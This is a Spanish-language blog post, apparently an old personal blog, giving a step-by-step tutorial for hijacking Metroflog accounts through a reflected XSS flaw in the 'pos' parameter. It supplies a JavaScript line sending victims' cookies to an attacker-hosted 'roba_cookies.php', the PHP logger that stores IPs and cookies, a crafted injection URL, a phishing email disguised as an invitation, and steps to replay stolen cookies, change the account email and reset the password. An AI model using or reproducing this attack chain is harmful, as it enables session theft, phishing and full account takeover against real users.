Limpa os float da busca

Tutorial para hackear metroflog (XSS En Metroflog)

http://api.ning.com/files/d0BQ8W9dpwq8TQrn9ERVp7pYzga-gOyygEozBoBIE3I_/Metroflog_logo512.jpg

.:: Introduccion ::..

Pues este sera al primer tutorial que pondre aqui en mi blog, y al parecer sera uno muy bueno. Si se ponen a buscar en internet (llamese San Google) acerca de como hackear Metroflog, dudo que encuentren algo verdaderamente bueno, como esto que les voy a poner. Si llegan a encontrar algo sera o un Scam o que existe la vulnerabilidad XSS, que es la que ya habia publicado desde el año pasado.

El Scam se vuelve una tecnica complicada comparada contra esto que les voy a poner aqui. Ademas ya la gente no es tan tonta como para caer en los Scam (ahahaha, es broma, la neta hay muchisima todavia xD).

Esta tecnica que voy a explicar aprovecha la vulnerabilidad XSS, que es un error que se encuentra un muchas otras paginas, asi que el procedimiento, funciona para cualquier otra pagina con el mismo error, por lo que lo que les voy a poner no es ningun truco nuevo, simplemente intento dejar claro, como se llevaria a cabo en el caso de Metroflog.

..:: Entendiendo la Vulnerabilidad XSS ::..

Antes de empezar a explicar como aprovechar la vulnerabilidad, entendamos como es. El XSS segun Wikipeda es “un tipo de inseguridad informática o agujero de seguridad basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado.” No manchen, se escucha chido, pero no se si se entendio, asi que tratare de explicarlo con mis palabras.

El XSS es un error de programacion en paginas web, a traves del cual se puede hacer una inyeccion de codigo en HTML o Javascript, a traves de una variable que utilice la misma pagina web. Por la misma naturaleza de esos lenguajes de programacion, sabemos que no pueden afectar directamente al servidor donde se encuentra alojada esa pagina Web, y sabemos que solo se ejecutaran de manera local en donde hayamos hecho la inyeccion.

En el caso de Metroflog, la variable que es vulnerable es la variable “pos”. Esta variable se vuelve visible para nosotros cuando damos en click en una de las fotos pequeñas que aparecen arriba en los metroflogs, que vienen siendo las fotos anteriores. Si entramos directamente al metroflog, no veremos esta variable en nuestro explorador.

Hasta ahi, al parecer no es una vulnerabilidad grave, pero creanme, lo es. Y se vuelve mas grave, cuando en la pagina web se manejan coockies (no pienso explicar que son las coockies), y por lo general manejamos coockies en las webs donde nos podemos registrar (hotmail, gmail, yahoo, metroflog, blogspot, una infinidad de paginas, etc).

..:: El ingenio del ataque XSS ::..

Bien, ahora viene la parte ingeniosa de este ataque: si el codigo inyectado solo puede ser HTML o Javascript, y solo es de manera local ¿Como Hackeo un Metroflog con eso?. Bien veamos la cadenita.

Alguien alguna vez me dijo que a este metodo de analisis se le llamaba “Reduccion a lo absurdo” y funciona de esta forma:

Quiero llegar a Hackear un metro, ese es el objetivo final, y puedo lograrlo de dos formas: o conociendo la contraseña o conociendo los valores de todas las coockies. Este metodo esta encaminado a las coockies y entonces asi lo explicare, aunque de todos modos mas adelante explico como sacar la contraseña tmb (h).

Bien, ya se que obteniendo las coockies, hackeare ese metro, pero ¿Como obtengo las cookies?. Pues con codigo Javascript es posible acceder a esos valores, a traves de document.cookie que es una como variable que guarda los valores de las cookies.

Hasta aqui como que ya va agarrando forma. Pero si accedo a document.cookie inyectando codigo en mi computadora, pues solo vere mis coockies. Y si hago (que no es facil, pero mas abajo explico el metodo) que alguien mas inyecte ese codigo en su computadora, pues solo lo veran ellos =O. Este es un nuevo problema, ¿Como le hago para que esa persona inyecte ese codigo en su computadora, pero que yo tambien pueda ver el valor de esas coockies?

Este nuevo dilema lo podriamos resolver, si de alguna forma ejecutaramos PHP tambien, ya que PHP si se ejecuta directamente en el servidor, de esa forma, el valor de esas cookies las podriamos guardar en otro archivo que se encuentre en el mismo servidor. Ahora un nuevo dilema ¿Como ejecuto PHP desde Javascript? ¿Es posible?

La respuesta es “Si!” xD. Utilizando una pequeña redireccion en javascript, podemos linkear a un codigo en PHP, y a traves del metodo GET pasarlo a alguna variable que este contenida en nuestro archivo PHP y asi almacenarlo en un nuevo archivo, al cual nosotros tenemos acceso. Esa fue la rapida explicacion del ingenio de esta tecnica, que no es elite ni h4×0r en ningun sentido, cabe destacar eso.

..:: ¿Que se necesita para poner en practica esta tecnica? ::..

Pues lo que necesitamos para hackear un metro es lo siguiente:

* Metroflog de nuestra victima
* Su cuenta de correo (Esto es opcional, ahorita explico por que, aunque tener el correo es la mejor opcion)
* Un archivo en javascript
* Un archivo en PHP
* Hosting para almacenar los archivos.

..:: Aplicando nuestra tecnica de manera detallada::..

Bien, primero una ves entendida la explicacion, vayamos a lo bueno: los codigos. Estos codigos no son nuevos, ni mucho menos, de hecho es muy facil encontrarlos en muchisimas paginas, el hecho es saberlos utilizar bien.

El codigo en javascript es una sola linea de codigo y seria el siguiente:

window.location=’http://www.tu-host.com/roba_cookies.php?cookie=’+document.cookie

Esa linea de codigo la guardamos con extension .js, y le damos el nombre que sea, en este caso yo la llamare “redireccion.js”. Si nos damos cuenta, utiliza la funcion windows.location, que sirve para direccionar; ahi nos esta mandando al archivo php que se llama “roba_cookies.php” y que tiene una variable llamada coockies que toma el valor de “document.cookie”, es decir las cookies de metroflog de nuestra victima =).

NOTA: el codigo del siguiente archivo php debe llevar en la primera linea de codigo el “<” seguido de “?”, solo que no se lo puse ya que al parecer se interpreta. Ahora veamos como seria el codigo del archivo “roba_cookies.php”:

$cookies = $_GET['cookies'];
$guardando = fopen(“cookies.txt”,”a”);
$ip = $_SERVER['REMOTE_ADDR'];
$hora = date(“G:H:s”);
fwrite($guardando, “IP: $ip \n”);
fwrite($guardando, “Hora: $hora \n”);
fwrite($guardando, “Valores de las cookies: \n”);
fwrite($guardando, “$cookies \n”);
fclose($guardando);
?>

¿Lo explico? Ok, lo hare linea por linea. Primero a traves del metodo GET le da el valor a $cookies con el valor de document.coockie. Despues ejecuta la accion de abrir y poder escribir en un archivo llamado cookies.txt. Obtiene la IP de nuestra victima. Obtiene la Hora actual del servidor. Escribe la IP. Escribe la Hora. Escribe “Valores de las cookies:”. Escribe el valor de las cookies.

Bien. ya tenemos los codigos que necesitamos. Pero ahora necesitamos algo mas, el link que realiza la inyeccion del codigo javascript. Voy a utilizar la pagina de alguien desconocido como ejemplo, aunque no le haremos daño a su metro, solo sera para que vean como funcionan las inyecciones.

Usemos el metro de Marta xD:

Y veamos que exite el link

Si nos fijamos, la variable “pos” es la fecha de publicacion de esa foto 22 de noviembre del 2008. Bueno, eso no nos interesa, haha, solo era un comentario. Existe otra variable llamada nf, que la verdad no nos ayuda ni nos perjudica.

Veamos con un ejemplo como funciona esta inyeccion: http://www.metroflog.com/dangerously-cute/20081122/?pos=%22%3E%3Cscript%3Ealert(/Owned%20by%20mx0x/)%3C/script%3E

Si damos click, en el link anterior, nos abre el metro y nos salta un mensaje. Justamente eso hace la funcion alert de javascript. Es solo una forma de comprobar la vulnerabilidad. Ahora vayamos al link que nos interesa, la Poisoned URL, haha, bueno, la URL que nos direccion al codigo en javascript.

http://www.metroflog.com/dangerously-cute/20081122/?pos=%22%3E%3Cscript src=”http://www.tu-host.com/redireccion.js”>

Va de nuevo, dando click en el link anterior, nos hace llegar al metro, pero rapidamente, nos redireccion al archivo en javascript, que nuevamente, nos manda al archivo php que guarda los valores de las coockies en un archivo de texto, al cual tenemos acceso.

El archivo de texto que almacena las cookies guardaria cada registro de la siguiente manera:

IP: 127.0.0.1
Hora: 8:08:49
Valores de las cookies:
__utma=18306213.2086185802.1223149270.1231378158.1231397360.68; __utmz=18306213.1231378158.67.30….

..:: ¿Como le hago para hacer que la otra persona entre en ese link tan raro? ::..

Es facil jo jo. Puede ser de mil formas, pero una que se me ocurre es la siguiente. Cuando alguien sube una foto a un metro, algunas de las veces, se spamea el correo de sus contactos con un correo que dice “Te invito a ver mi Metroflog” o algo asi. Entonces podemos enviar un correo de esos, donde diga lo mismo, pero modificando el link, de modo que parezca normal, pero que al darle click nos mande al link con el codigo.

El link podria ser como este: http://www.metroflog.com/dangerously-cute A simple vista parece que solo nos manda al metro, pero al darle click nos ejecute el codigo. Muy poca gente, se daria cuenta de que en la barra de abajo del explorador aparece la direccion completa. Bien esa es una forma, pero se pueden ingeniar muchas otras, como por ejemplo cambiar los caracteres por su valor en ascii, ocultando los links.

..:: Ya tengo los valores de las cookies ¿Y ahora? ::..

Pues lo que sigue es crearse la cookie, para eso recomiendo usar FireFox y el addon de Cookie Editor (xD?). De esa forma sera tan facil como editar un campo de texto por cada cookie. Con el editor veremos listada cada variable, al darle click a una de ella, nos mostrara su valor en la parte que dice content. Solo sera cuestion de darle al boton de Edit y cambiar ese valor, por los valores almacenados por el archivo PHP. Se debe de ver algo mas o menos como se muestra en la siguiente imagen:

Una vez editadas todas las cookies con los valores guardados, refrescamos el metroflog, y automaticamente estaremos logeados como ese usuario xD. Y sin necesidad de conocer su contraseña, esto es muy importante. Ahora ya podremos hacer lo que sea: subir fotos, borrar comentarios, cambiar colores, postear en otros metros con ese usuario, etc.

Este es un metro que ownee desde el año pasado, cuando andaba checando esta vulnerabilidad, aqui les dejo el screen:

http://i155.photobucket.com/albums/s292/FhUrER/ownedtifaa.jpg

..:: Ya tengo las cookies y ya hice maldades, pero quiero mas ¿Como obtengo la contraseña? ::..

Metroflog tiene otro detalle, que podria considerarse como error. Una vez logeado como el usuario podremos acceder al panel, pero no podremos cambiar la contraseña, ya que nos pide la contraseña actual, la cual no conocemos x_x. Sin embargo, podemos cambiar el correo, jo jo. Cambiamos el correo por uno nuestro, para realizar este cambio no nos pide la contraseña, solo una pequeña comprobacion que es enviada a nuestro correo.

Una vez cambiado el correo, le damos en Log Out o en Salir. Y vamos a www.metroflog.com y le damos en Olvidaste tu contraseña? (xD). Ahi nos pide el e-mail, que ya es el nuestro, le damos en Enviar y listo!! la contraseña nos llegara asi de facilmente a nuestro correo =) Ahora ya tenemos totalmente owneada la cuenta de metroflog, ya que asi ya podemos cambiar la contraseña.

..:: Comentarios finales ::..

Pues solo quiero comentar que “no hagas, lo que no te gustaria que te hicieran, aunque si estas seguro de que no te lo pueden hacer, entonces hazlo xD”. Este metodo, como se habran dado cuenta es basicamente hacer click sobre un link y listo, tu metroflog sera owneado. Asi que tengan cuidado!, fijense en donde hacen click, porque en una de esas te tumban el metro. Por eso no usen esas cosas, usen Blogs, y recomiendo Blogspot, la verdad. Luego hare un post de MetroFlog VS Blogspot y veran que paliza!! hahaha. Bien, este es un verdadero metodo de como hackear una cuenta de MetroFlog, espero haber sido lo suficientemente explicito, espero que les sea util y les haya gustado.

NOTA: Ya lo habia dicho, esto no es elite, no te vuelve hacker. De hecho tal vez no debi haber usado la palabra “hack”, simplemente es ownear una cuenta.

0 comentarios:

Publicar un comentario

 

Downs Free